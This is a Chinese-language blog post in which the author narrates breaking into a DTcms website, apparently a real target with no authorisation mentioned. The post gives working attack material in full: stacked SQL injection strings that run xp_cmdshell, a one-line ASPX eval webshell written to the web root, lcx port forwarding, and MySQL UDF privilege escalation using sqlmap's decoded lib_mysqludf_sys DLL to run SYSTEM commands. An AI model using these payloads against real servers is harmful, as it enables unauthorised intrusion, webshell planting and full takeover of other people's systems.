目标是用的DTcms,百度翻烂了,各种翻都没找到一个漏洞,手工也没找到任何漏洞,正当我准备放弃时,谷歌给了我惊喜,于是这篇文章便诞生了。
发现注入点
本打算随便看看的,也就没跑二级域名,结果通过谷歌发现了一个二级,而且这个二级站居然是给目标站post数据的,最重要的是,这特么居然有注入!!
被防火墙拦截
一堆500,换了好多个IP,试了很多tamper的脚本,就是过不去。。。我等小菜,表示手注亚历山大~
丢穿山甲神器,跑出来了,然而么有卵用。。。除了知道是注入点,知道是dbo,知道数据库名以外,其他所有功能都没法用,这可就有点纠结了,好不容易找到个sa权限的注入,被疑是阿里云的防火墙给拦截了(没发现别的防火墙,就查IP看到是阿里云的机子)。。。这真心就不好玩了。
sql-shell妙用
在sqlmap中也是无法跑出数据库来,尝试交互shell也失败,想到是sa权限,不如试试sql?然后奇葩的事情就发生了。
sqlmap跑不出来数据库名,但是通过之前的穿山甲,我们是知道了数据库名的,然后百度下DTcms的数据库结构就知道表名了,于是乎,就有了上图的事情发生。
防火墙既然拦截了sql注入语句,那么我在sqlmap的sql-shell模式下执行数据库的数据查询,同样是在提交sql注入语句,然而他却没有拦截.....不知道是啥情况,有么有大牛科普下。(怀疑是我sqlmap的命令参数有问题,应该是拦截了某个地方,按理说sqlmap不应该被拦截的)
初试拿shell
既然绕过了,那么也就意味着我们有一个SA权限的注入点了,而通过这个权限拿webshell的方法,其实有很多种,让我们继续下去吧。。。边搞边写的。
- 获取后台的密码,然后登陆后台拿shell。
然而幸运女神估计正在忙着化妆去上班吧,账号一堆,却没有一个适合我的。。。尝试替换一个试试,结果替换失败。
- 直接执行xp_cmdshell
返回结果空,我记得曾经看到有文章说sqlmap看不到返回结果,不代表没有执行成功,所以试了下,然而只是自己一厢情愿,怀疑是没有开cmdshell,想执行语句尝试恢复,可是没有回显,又怎么知道什么错误呢。。。
- 直接创建dba权限的用户,然后连接数据库提权服务器。然而依然失败。
- 在执行命令的过程中,还是各种500,被拉IP,而且执行命令也一直是无回显,因此怀疑sqlmap抽风了。
手注获得shell
实在没辙的我,不得不现行百度找语句尝试手注(记性不好外加懒,因此一直没有努力把手注给彻底掌握),而在手注的过程中发现并没有什么防火墙,我勒个去,那我的sqlmap和穿山甲神器是被狗日了?
既然能手注,而且手注比sqlmap方便多了,那么也就好办了。
创建一个表,然后利用xp_cmdshell搜索D盘中的含有index.aspx的路径,并且把搜索结果写入到创建的tt_tmp表中,结果如上图,具体流程语句如下:
';CREATE TABLE tt_tmp (tmp1 varchar(8000));-- //第一步,创建临时表 ';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i in (Newslist*.aspx) do @echo %i ';-- //第二步,用xp_cmdshell搜索并且把结果写入到表 ' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a // 第三步,查看结果 //具体请前往原文地址看 原文地址:https://www.cnblogs.com/backlion/p/6869595.html
这里或许有人会问,既然能执行xp_cmdshell,权限又那么大,为什么不直接添加system用户上服务器呢?
我也想啊,问题是直接执行xp_cmdshell的话,页面返回正常,也就是无回显,当然,也可以利用上面的方法,把回显写入到表中,然后查表内容来看,可是你们不觉得这样很麻烦吗?还不如getshell,反正是sa,getshell后想怎么玩就怎么玩(拿下shell后才发现此sa非彼sa)。
回到正题,刚才我们已经得到了绝对路径,那么就是写shell了:
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--
上去第一时间是tasklist /svc 发现没别的,就AliYunDun.exe,淡淡的忧伤。
服务器提权
看到这个密码我当时就懵逼了,就在10分钟前,我还在考虑是否爆破下mssql的。。。。看来我还是太年轻了。。。
降权的sa,难怪之前我尝试加用户失败。。。这尼玛如果没拿shell,反而是用通过注入点用xp_cmdshell一条一条语句的查,一条一条的执行,这得搞到啥时候去?不得不说我真有先见之明。
发现tomcat,可惜居然没启动,尝试启动,一堆报错。。。发现开启mysql,获得root密码。
so,进程中没有发现其他的第三方可提权软件,启动项提权也不用想,没权限,shift替换也不用想,08的,而且无权限。那么在这种情况下,只有考虑exp和mysql提权了。
MYSQL提权
因为是aspx的,连接jdbc的mysql有些麻烦,所以只有用lcx将mysql转发出来然后提权。
此处感谢 阴天基友的指点,虽然当时因为提权的事情闹了点小矛盾,但在我们爆棚的基情下,小矛盾是无法阻止我们的基情的~
表示第一次手动导DLL提权,有几处不明白的地方,导致一直没有提下,顺便在此记录一下。
流程:
- 解码sqlmap中的dll
python cloak.py -d -i /usr/share/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 函数: sys_eval,执行任意命令,并将输出返回。 sys_exec,执行任意命令,并将退出码返回。 sys_get,获取一个环境变量。 sys_set,创建或修改一个环境变量。 /*关于此命令,文章:http://blog.csdn.net/x728999452/article/details/52413974 *在这个步骤中,我曾犯了几个错误: *1.没有解码sqlmap中的dll。 *2.dll中有固定的函数,当时我用的是上面函数以外的函数。导致一直提示[Err] 1124 - No paths allowed for shared library *3.5.1大于或者等于5.1都必须插件目录,5.0或者以下任意环境变量目录. */
- 上传解码后的dll到插件目录,然后注册函数
create function sys_eval returns string soname 'udf.dll' select sys_eval("ver"); //然后可以直接通过mysql的命令工具来执行system权限的命令了 mysql -u root -ppassword -e "select sys_eval('whoami')" mysql
总结
至此本次渗透结束,虽然从昨晚一直折腾到下午2点,但是很高兴,因为从中学习到了很多。
- 要善作笔记,记性差,就更要做笔记,很多东西,需要的时候百度真难找。
- 计算机基础实在太差,以后不仅需要多看渗透资料,别的方面的也需要多了解研究。
- 轮手注的重要性,工具终究只是工具,我不知道为什么sqlmap会老是被墙,这不是第一次出现这种工具无法注入,手工却无阻的情况了,手工,必须要彻底掌握。
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !